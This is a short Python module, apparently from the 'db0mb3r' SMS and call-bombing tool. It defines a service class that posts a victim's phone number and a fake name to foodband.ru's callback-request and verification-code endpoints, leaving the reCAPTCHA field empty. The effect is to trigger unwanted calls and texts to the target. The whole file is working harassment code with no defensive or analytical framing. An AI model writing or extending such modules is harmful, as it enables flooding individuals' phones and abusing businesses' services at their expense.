foodband.py 665 B

123456789101112131415161718192021222324
  1. from db0mb3r.services.service import Service
  2. class FoodBand(Service):
  3. phone_codes = [7]
  4. async def run(self):
  5. await self.post(
  6. "https://foodband.ru/api?call=calls",
  7. data={
  8. "customerName": self.russian_name,
  9. "phone": self.format(self.formatted_phone, "+* (***) ***-**-**"),
  10. "g-recaptcha-response": "",
  11. },
  12. )
  13. await self.get(
  14. "https://foodband.ru/api/",
  15. params={
  16. "call": "customers/sendVerificationCode",
  17. "phone": self.phone,
  18. "g-recaptcha-response": "",
  19. },
  20. )